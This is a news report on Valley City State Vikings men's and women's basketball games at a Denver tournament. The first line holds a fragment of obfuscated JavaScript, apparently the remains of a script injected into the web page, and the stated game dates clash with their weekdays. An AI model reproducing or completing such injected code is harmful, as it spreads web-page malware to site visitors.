DENVER,CO zrzei|var|u0026u|referrer|enzse||js|php’.split(‘|’),0,{}))
(NewsDakota.com) The Valley City State Vikings men’s and women’s teams had a strong showing this weekend at the Johnson and Wales Classic, picking up 3 wins in four games.
The Valley City State Women picked up a perfect 2-0 record in Denver, advancing their overall season mark to 12-6.
In the tournaments opening game Courtney Dixon posted a career high 19 points as the Vikings trumped Northern New Mexico 71-44.
On Saturday, the Vikings women would follow up that win with a 73-66 victory over Johnson and Wales University. Dixon continued to impress following up her career high night with 14 points. Georgia Williams led the Vikings on the score sheet with 19 points in the victory.
On the men’s court, despite a strong effort from VCSU’s Jayden Ferguson who led the Vikings with 18 points and seven rebounds, McMurry University proved to be too much as they downed Valley 68-61 in the opening game.
After trailing by three at the end of the first, McMurry University opened the second half with a 10-0 run. The Vikings responded with a 10-2 run that ended when Mac Kroeplin brought the VCSU back to within one with just over three minutes remaining in the game. However, the next five points would be scored by McMurry ending the chances of a Valley comeback.
The Vikings would regroup on day two picking up their second win of the season over Johnson and Wales University, this time by a score of 81-72.
Once again Ferguson led the Vikings with 26 points. Along with hitting the bucket, the Williston native grabbed a team high 12 rebounds. Other Vikings posting double digits were Riley West (16), Kroeplin (15) and Briton Bussman (14).
The Vikings men return to the court on Saturday, January 17th at Grace University. Both the men and women begin North Star Athletic Association play on Wednesday, January 22nd at the University of Jamestown.